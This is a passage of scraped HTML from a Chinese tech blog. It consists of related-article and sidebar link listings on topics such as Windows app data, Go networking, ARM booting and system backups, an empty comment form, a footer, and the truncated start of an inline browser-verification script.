8.1应用设置:LocalSettings与ApplicationDataContainer的实战应用">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="深入Windows Phone 8.1应用设置:LocalSettings与ApplicationDataContainer的实战应用">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/p" target="_blank">技术日记</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/p/1773643748a3564301.html" class="post-item-title" title="深入Windows Phone 8.1应用设置:LocalSettings与ApplicationDataContainer的实战应用"> <h3>深入Windows Phone 8.1应用设置:LocalSettings与ApplicationDataContainer的实战应用</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/p" target="_blank">技术日记</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">19天前</div> </div> <p class="post-item-summary">最近正好有机会看到林政老师的Windows Phone 8,1的书,正好我平时都是基于用户控件之类的写写使用收获,虽然 编程中基本上都用过应用数据之类的知识,但是一直没整理过,知识越来越多,东西也越来越杂,有时候过</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/p/1773644352a3564309.html" title="Windows应用数据揭秘:在Windows 8开发中构建个性化应用程序">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="Windows应用数据揭秘:在Windows 8开发中构建个性化应用程序">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/p" target="_blank">技术日记</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/p/1773644352a3564309.html" class="post-item-title" title="Windows应用数据揭秘:在Windows 8开发中构建个性化应用程序"> <h3>Windows应用数据揭秘:在Windows 8开发中构建个性化应用程序</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/p" target="_blank">技术日记</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">19天前</div> </div> <p class="post-item-summary">一、Application Data简介Applicaion Data相当于桌面应用的注册表,存储一些用户配置信息,如运行时状态,用户喜好等,需要注意的时, 当卸载应用时,这些数据会被删除,所以不要存储重要数</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/p/1773644518a3564311.html" title="Adobe Flash Player与SWF:一段从技术到应用的旅程">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="Adobe Flash Player与SWF:一段从技术到应用的旅程">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/p" target="_blank">技术日记</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/p/1773644518a3564311.html" class="post-item-title" title="Adobe Flash Player与SWF:一段从技术到应用的旅程"> <h3>Adobe Flash Player与SWF:一段从技术到应用的旅程</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/p" target="_blank">技术日记</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">19天前</div> </div> <p class="post-item-summary">一、Application Data简介Applicaion Data相当于桌面应用的注册表,存储一些用户配置信息,如运行时状态,用户喜好等,需要注意的时, 当卸载应用时,这些数据会被删除,所以不要存储重要数</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/p/1773652546a3564408.html" title="Go与Linux通信基础:strace与read操作的深入解读">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="Go与Linux通信基础:strace与read操作的深入解读">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/p" target="_blank">技术日记</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/p/1773652546a3564408.html" class="post-item-title" title="Go与Linux通信基础:strace与read操作的深入解读"> <h3>Go与Linux通信基础:strace与read操作的深入解读</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/p" target="_blank">技术日记</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">19天前</div> </div> <p class="post-item-summary">大家好,我是码农先森。 前言 各种编程语言百花齐放、百家争鸣,但是 “万变不离其中”。对于网络通信而言,每一种编程语言的实现方式都不一样;但其实,调用的底层逻辑都是一样的。linux 系统底层向上提供了统一的 Sock</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1773653154a3564416.html" title="启动之路:深入ARM I.MX6ULL的内部机制 - 内部BOOT ROM、IVT、Boot Data、DCD与led.bin揭秘">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="启动之路:深入ARM I.MX6ULL的内部机制 - 内部BOOT ROM、IVT、Boot Data、DCD与led.bin揭秘">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1773653154a3564416.html" class="post-item-title" title="启动之路:深入ARM I.MX6ULL的内部机制 - 内部BOOT ROM、IVT、Boot Data、DCD与led.bin揭秘"> <h3>启动之路:深入ARM I.MX6ULL的内部机制 - 内部BOOT ROM、IVT、Boot Data、DCD与led.bin揭秘</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">19天前</div> </div> <p class="post-item-summary">参考:Linux之ARM(IMX6U)裸机之I.MX6ULL镜像烧写以及启动头文件的详解作者:一只青木呀发布时间: 2020-08-09 17:10:00网址:BOOT R</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/p/1773653914a3564426.html" title="Go与Linux网络通信:strace下read操作的本质解析">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="Go与Linux网络通信:strace下read操作的本质解析">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/p" target="_blank">技术日记</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/p/1773653914a3564426.html" class="post-item-title" title="Go与Linux网络通信:strace下read操作的本质解析"> <h3>Go与Linux网络通信:strace下read操作的本质解析</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/p" target="_blank">技术日记</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">18天前</div> </div> <p class="post-item-summary">大家好,我是码农先森。 前言 各种编程语言百花齐放、百家争鸣,但是 “万变不离其中”。对于网络通信而言,每一种编程语言的实现方式都不一样;但其实,调用的底层逻辑都是一样的。linux 系统底层向上提供了统一的 Sock</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/p/1773984496a3567981.html" title="基于Matlab的MDF文件导入与处理研究_matlabmdf格式数据处理">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="基于Matlab的MDF文件导入与处理研究_matlabmdf格式数据处理">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/p" target="_blank">技术日记</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/p/1773984496a3567981.html" class="post-item-title" title="基于Matlab的MDF文件导入与处理研究_matlabmdf格式数据处理"> <h3>基于Matlab的MDF文件导入与处理研究_matlabmdf格式数据处理</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/p" target="_blank">技术日记</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">15天前</div> </div> <p class="post-item-summary">摘要 本文围绕MDF文件格式展开全面研究,系统阐述了MDF文件的基本结构与数据块概念,深入探讨了在Matlab环境下导入和处理这些文件的理论与实践方法。首先,介绍了MDF文件在现代工业和汽车电子领域的应用背景及重要意义。接着,</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1774189209a3568861.html" title="计算机十二种常用密码破解法(非常详细),零基础入门到精通,看这一篇就够了_电脑某个软件的密码怎么找">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="计算机十二种常用密码破解法(非常详细),零基础入门到精通,看这一篇就够了_电脑某个软件的密码怎么找">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1774189209a3568861.html" class="post-item-title" title="计算机十二种常用密码破解法(非常详细),零基础入门到精通,看这一篇就够了_电脑某个软件的密码怎么找"> <h3>计算机十二种常用密码破解法(非常详细),零基础入门到精通,看这一篇就够了_电脑某个软件的密码怎么找</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">12天前</div> </div> <p class="post-item-summary">计算机十二种常用密码破解法 在日常操作中,我们经常要输入各种各样的密码,例 如开机时要输入密码,QQ时也要先输入密码,假如你忘记了这 些密码,就有可能用不了机器、打不开文件、不能聊天…。也许还会造成很大的损失!下面</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/p/1774370434a3570955.html" title="英雄联盟战斗力与隐藏分查询系统源码实战项目">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="英雄联盟战斗力与隐藏分查询系统源码实战项目">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/p" target="_blank">技术日记</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/p/1774370434a3570955.html" class="post-item-title" title="英雄联盟战斗力与隐藏分查询系统源码实战项目"> <h3>英雄联盟战斗力与隐藏分查询系统源码实战项目</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/p" target="_blank">技术日记</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">10天前</div> </div> <p class="post-item-summary">简介:本项目是一个针对《英雄联盟》(LOL)的游戏数据分析工具,涵盖战斗力评估、隐藏分查询、皮肤信息展示及自动化数据获取功能。通过API接口或网络爬虫技术,系统可获取玩家表现数据并进行深度分析,帮助玩家了解自身真实水平与匹配机制。源码</p> </div> </div> </div> <div class="roclinux-cn comments"> <div class="roclinux-cn postcomm block-wrap" id="divCommentPost"> <h2 class="block-title"> 发表评论 </h2> <form id="saypl" target="_self" method="post" name="saypl" action="/comment/create/446260.html?safe_token=c4EbCE82AXpzq96KRX1bKl3_2FKm6mrcSNzYnmyhziN1gT09pCqBMenqLkT_2BG0BU0anNy2nNK9omwXEl58FTxEzQ_3D_3D"> <input type="hidden" name="doctype" value="1" /> <input type="hidden" name="quotepid" value="0" /> <div class="roclinux-cn comment-box comment-textarea"> <textarea name="message" id="txaArticle" class="text" cols="50" rows="4" tabindex="5" placeholder="评论内容"></textarea> </div> <input name="sumbit" type="submit" tabindex="6" value="发表评论" class="sub"> </form> </div> </div> <div class="sn-comments"> <div class="sn-comments__title">全部评论 0</div> <div class="sn-comments__body"> <div class="sn-empty">暂无评论</div> </div> </div> </div> </div> <div class="aside"> <div class="block-wrap" id="side-top-dxt"> <h2 class="block-title">推荐文章<i class="mcico mico-right"></i></h2> <div class="mcdas"> <a href="/b/1773979530a3567924.html" title="【台式机DIY】我的第一台台式机&电脑配置清单_配置一套计算机写出参数" class="photo-item" target="_blank" style="background:#364cc6"> <!--<img src="/view/img/nopic.png" alt="【台式机DIY】我的第一台台式机&电脑配置清单_配置一套计算机写出参数" class="photo-item-img hover-scale" />--> <div class="photo-item-inner"> <h3 class="photo-item-title"> 【台式机DIY】我的第一台台式机&电脑配置清单_配置一套计算机写出参数 </h3> </div> </a> <a href="/b/1774196196a3568943.html" title="电脑配置:电脑小白如何查看电脑配置_怎么查询飞行堡垒的服务器配置" class="photo-item" target="_blank" style="background:#364cc6"> <!--<img src="/view/img/nopic.png" alt="电脑配置:电脑小白如何查看电脑配置_怎么查询飞行堡垒的服务器配置" class="photo-item-img hover-scale" />--> <div class="photo-item-inner"> <h3 class="photo-item-title"> 电脑配置:电脑小白如何查看电脑配置_怎么查询飞行堡垒的服务器配置 </h3> </div> </a> <a href="/b/1774221526a3569233.html" title="修复IE主页劫持" class="photo-item" target="_blank" style="background:#364cc6"> <!--<img src="/view/img/nopic.png" alt="修复IE主页劫持" class="photo-item-img hover-scale" />--> <div class="photo-item-inner"> <h3 class="photo-item-title"> 修复IE主页劫持 </h3> </div> </a> <a href="/p/1774356879a3570801.html" title="WiFi万能钥匙 v4.3.50_sn=7061470000582862&cmei=111028118062461&vendor=cm" class="photo-item" target="_blank" style="background:#364cc6"> <!--<img src="/view/img/nopic.png" alt="WiFi万能钥匙 v4.3.50_sn=7061470000582862&cmei=111028118062461&vendor=cm" class="photo-item-img hover-scale" />--> <div class="photo-item-inner"> <h3 class="photo-item-title"> WiFi万能钥匙 v4.3.50_sn=7061470000582862&cmei=111028118062461&vendor=cm </h3> </div> </a> <a href="/b/1774389055a3571171.html" title="网站网页不能正常显示图片或显示不完整的原因_网页图片显示不全的原因" class="photo-item" target="_blank" style="background:#364cc6"> <!--<img src="/view/img/nopic.png" alt="网站网页不能正常显示图片或显示不完整的原因_网页图片显示不全的原因" class="photo-item-img hover-scale" />--> <div class="photo-item-inner"> <h3 class="photo-item-title"> 网站网页不能正常显示图片或显示不完整的原因_网页图片显示不全的原因 </h3> </div> </a> </div> </div> <div class="block-wrap" id="side-hot-view-item"> <h2 class="block-title">热门文章<i class="mcico mico-right"></i> </h2> <ul> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1773581983a3563590.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="MFC71.DLL出故障?别急,这里提供简单易懂的修复64位MFC71.dll技巧,解决你的Windows难题!" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="MFC71.DLL出故障?别急,这里提供简单易懂的修复64位MFC71.dll技巧,解决你的Windows难题!" target="_blank" href="/p/1773581983a3563590.html"> <h3>MFC71.DLL出故障?别急,这里提供简单易懂的修复64位MFC71.dll技巧,解决你的Windows难题!</h3> </a> <span class="post-date">19天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1773604489a3563847.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="2022年骁龙处理器性能评测:从旧到新,全面解析处理器的进化之路!" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="2022年骁龙处理器性能评测:从旧到新,全面解析处理器的进化之路!" target="_blank" href="/b/1773604489a3563847.html"> <h3>2022年骁龙处理器性能评测:从旧到新,全面解析处理器的进化之路!</h3> </a> <span class="post-date">19天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1773612937a3563945.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="自我检测:电脑中毒?看这三步,帮你揪出病毒源头" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="自我检测:电脑中毒?看这三步,帮你揪出病毒源头" target="_blank" href="/b/1773612937a3563945.html"> <h3>自我检测:电脑中毒?看这三步,帮你揪出病毒源头</h3> </a> <span class="post-date">19天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1773614577a3563961.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="静态IP地址配置:让你的设备网络连接更稳固" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="静态IP地址配置:让你的设备网络连接更稳固" target="_blank" href="/p/1773614577a3563961.html"> <h3>静态IP地址配置:让你的设备网络连接更稳固</h3> </a> <span class="post-date">19天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1773650379a3564383.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="告别繁琐步骤:KMS_VL_ALL_AIO激活工具的创新使用方式,让Adobe激活流程变得简单" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="告别繁琐步骤:KMS_VL_ALL_AIO激活工具的创新使用方式,让Adobe激活流程变得简单" target="_blank" href="/b/1773650379a3564383.html"> <h3>告别繁琐步骤:KMS_VL_ALL_AIO激活工具的创新使用方式,让Adobe激活流程变得简单</h3> </a> <span class="post-date">19天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1773677689a3564697.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="编程之路,遇到FileOutputStream Filenotfound?别怕,这里有解救之道!" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="编程之路,遇到FileOutputStream Filenotfound?别怕,这里有解救之道!" target="_blank" href="/p/1773677689a3564697.html"> <h3>编程之路,遇到FileOutputStream Filenotfound?别怕,这里有解救之道!</h3> </a> <span class="post-date">18天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1773690074a3564839.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="端口被占用?快速上手的排查与处理技巧" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="端口被占用?快速上手的排查与处理技巧" target="_blank" href="/b/1773690074a3564839.html"> <h3>端口被占用?快速上手的排查与处理技巧</h3> </a> <span class="post-date">18天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1773953605a3567624.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="开机自动登录_console::respawn" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="开机自动登录_console::respawn" target="_blank" href="/b/1773953605a3567624.html"> <h3>开机自动登录_console::respawn</h3> </a> <span class="post-date">15天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1774170266a3568645.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="用VC 6.0写flash播放器——1、在VC 6.0中调用打开文件对话框_vc6 mfc flash播放" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="用VC 6.0写flash播放器——1、在VC 6.0中调用打开文件对话框_vc6 mfc flash播放" target="_blank" href="/b/1774170266a3568645.html"> <h3>用VC 6.0写flash播放器——1、在VC 6.0中调用打开文件对话框_vc6 mfc flash播放</h3> </a> <span class="post-date">13天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1774221450a3569232.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="注册表终极修改ie主页的方法_ie首页怎么设置 注册表" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="注册表终极修改ie主页的方法_ie首页怎么设置 注册表" target="_blank" href="/b/1774221450a3569232.html"> <h3>注册表终极修改ie主页的方法_ie首页怎么设置 注册表</h3> </a> <span class="post-date">12天前</span> </div> </li> </ul> </div> <div class="block-wrap" id="side-new-view-item"> <h2 class="block-title">最新文章<i class="mcico mico-right"></i> </h2> <ul> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1774513457a3572031.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="一文教会你AIX系统备份:mksysb实用指南" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="一文教会你AIX系统备份:mksysb实用指南" target="_blank" href="/p/1774513457a3572031.html"> <h3>一文教会你AIX系统备份:mksysb实用指南</h3> </a> <span class="post-date">9天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1774513382a3572030.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="SWF文件备份失败?这些步骤让你轻松搞定" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="SWF文件备份失败?这些步骤让你轻松搞定" target="_blank" href="/p/1774513382a3572030.html"> <h3>SWF文件备份失败?这些步骤让你轻松搞定</h3> </a> <span class="post-date">9天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1774513230a3572028.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="Win10系统备份轻松搞定:掌握captureimage命令的关键技巧" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="Win10系统备份轻松搞定:掌握captureimage命令的关键技巧" target="_blank" href="/p/1774513230a3572028.html"> <h3>Win10系统备份轻松搞定:掌握captureimage命令的关键技巧</h3> </a> <span class="post-date">9天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1774513079a3572026.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="Linux系统安全小贴士:掌握备份与恢复,安心每一天" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="Linux系统安全小贴士:掌握备份与恢复,安心每一天" target="_blank" href="/p/1774513079a3572026.html"> <h3>Linux系统安全小贴士:掌握备份与恢复,安心每一天</h3> </a> <span class="post-date">9天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1774512928a3572024.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="省时省心!三步完成电脑系统高效备份!" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="省时省心!三步完成电脑系统高效备份!" target="_blank" href="/p/1774512928a3572024.html"> <h3>省时省心!三步完成电脑系统高效备份!</h3> </a> <span class="post-date">9天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1774513306a3572029.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="Ubuntu系统维护秘籍:备份步骤详解,保护你的劳动成果!" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="Ubuntu系统维护秘籍:备份步骤详解,保护你的劳动成果!" target="_blank" href="/b/1774513306a3572029.html"> <h3>Ubuntu系统维护秘籍:备份步骤详解,保护你的劳动成果!</h3> </a> <span class="post-date">9天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1774513154a3572027.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="Linux系统不哭:高效备份与快速恢复方案" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="Linux系统不哭:高效备份与快速恢复方案" target="_blank" href="/b/1774513154a3572027.html"> <h3>Linux系统不哭:高效备份与快速恢复方案</h3> </a> <span class="post-date">9天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1774513003a3572025.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="Ubuntu系统安全大计,备份技巧大公开" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="Ubuntu系统安全大计,备份技巧大公开" target="_blank" href="/b/1774513003a3572025.html"> <h3>Ubuntu系统安全大计,备份技巧大公开</h3> </a> <span class="post-date">9天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1774512852a3572023.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="GHOST教程:系统备份和还原,小白也能变成高手!" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="GHOST教程:系统备份和还原,小白也能变成高手!" target="_blank" href="/b/1774512852a3572023.html"> <h3>GHOST教程:系统备份和还原,小白也能变成高手!</h3> </a> <span class="post-date">9天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1774512777a3572022.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="Linux备份与恢复必修课:SWF文件安全策略从入门到精通" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="Linux备份与恢复必修课:SWF文件安全策略从入门到精通" target="_blank" href="/b/1774512777a3572022.html"> <h3>Linux备份与恢复必修课:SWF文件安全策略从入门到精通</h3> </a> <span class="post-date">9天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/lvyou/1736247036a1725023.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="Exploring the Finest Accommodations: A Comprehensive Guide to Ruston LA Hotels" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="Exploring the Finest Accommodations: A Comprehensive Guide to Ruston LA Hotels" target="_blank" href="/lvyou/1736247036a1725023.html"> <h3>Exploring the Finest Accommodations: A Comprehensive Guide to Ruston LA Hotels</h3> </a> <span class="post-date">2025-1-7</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/lvyou/1736246824a1724956.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="The Enchanting Experience of ScaliniTella NYC: A Culinary Gem in the Heart of Manhattan" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="The Enchanting Experience of ScaliniTella NYC: A Culinary Gem in the Heart of Manhattan" target="_blank" href="/lvyou/1736246824a1724956.html"> <h3>The Enchanting Experience of ScaliniTella NYC: A Culinary Gem in the Heart of Manhattan</h3> </a> <span class="post-date">2025-1-7</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/lvyou/1736246607a1724902.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="Exploring the Exquisite Aloft Chicago O'Hare: A Blend of Modern Luxury and Convenience" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="Exploring the Exquisite Aloft Chicago O'Hare: A Blend of Modern Luxury and Convenience" target="_blank" href="/lvyou/1736246607a1724902.html"> <h3>Exploring the Exquisite Aloft Chicago O'Hare: A Blend of Modern Luxury and Convenience</h3> </a> <span class="post-date">2025-1-7</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/lvyou/1736246384a1724842.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="A Culinary Journey: Discovering the Finest Dining Experiences in Waco, TX" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="A Culinary Journey: Discovering the Finest Dining Experiences in Waco, TX" target="_blank" href="/lvyou/1736246384a1724842.html"> <h3>A Culinary Journey: Discovering the Finest Dining Experiences in Waco, TX</h3> </a> <span class="post-date">2025-1-7</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/lvyou/1736246169a1724784.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="A Culinary Journey: Discovering the Finest Dining Experiences in Athens, GA" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="A Culinary Journey: Discovering the Finest Dining Experiences in Athens, GA" target="_blank" href="/lvyou/1736246169a1724784.html"> <h3>A Culinary Journey: Discovering the Finest Dining Experiences in Athens, GA</h3> </a> <span class="post-date">2025-1-7</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/shuma/1768821301a3533414.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="电脑设备管理器在哪里?一次让我抓狂又兴奋的寻找经历" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="电脑设备管理器在哪里?一次让我抓狂又兴奋的寻找经历" target="_blank" href="/shuma/1768821301a3533414.html"> <h3>电脑设备管理器在哪里?一次让我抓狂又兴奋的寻找经历</h3> </a> <span class="post-date">2月前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/shuma/1768820793a3533413.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="与GWX的持久战:一段关于Windows10升级弹窗的私人记忆" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="与GWX的持久战:一段关于Windows10升级弹窗的私人记忆" target="_blank" href="/shuma/1768820793a3533413.html"> <h3>与GWX的持久战:一段关于Windows10升级弹窗的私人记忆</h3> </a> <span class="post-date">2月前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/shuma/1768820277a3533412.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="以管理员身份运行:那些年我们追过的权限与踩过的坑" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="以管理员身份运行:那些年我们追过的权限与踩过的坑" target="_blank" href="/shuma/1768820277a3533412.html"> <h3>以管理员身份运行:那些年我们追过的权限与踩过的坑</h3> </a> <span class="post-date">2月前</span> </div> </li> </ul> </div> </div> </div> <div class="footer"> CopyRight © 2022 All Rights Reserved. <br class="footer-br" /> <a href="/" target="_blank">Powered By Linux大棚 – 不忘初心的技术博客,浮躁时代的安静角落</a>| <a target="_blank" rel="nofollow" href="https://beian.miit.gov.cn/" style="font-size: 12px;">豫ICP备2022026798号-10</a> </div> <!-- JS挑战核心逻辑(静默验证,无DOM修改,不影响样式) --> <script type="text/javascript"> // 立即执行函数,确保页面加载时优先执行 (function() { // 1. MD5辅助函数(生成唯一验证哈希) function md5(str) { let hash = 0; if (str.length === 0) return hash.toString(); for (let i = 0; i < str.length; i++) { const char = str.charCodeAt(i); hash = ((hash << 5) - hash) + char; hash = hash & hash; } return hash.toString(16); } // 2. 核心验证逻辑 function verify() { try { // 验证是否为真实浏览器环境(拦截代理/脚本) if (!window || !document || !navigator || !screen) { throw new 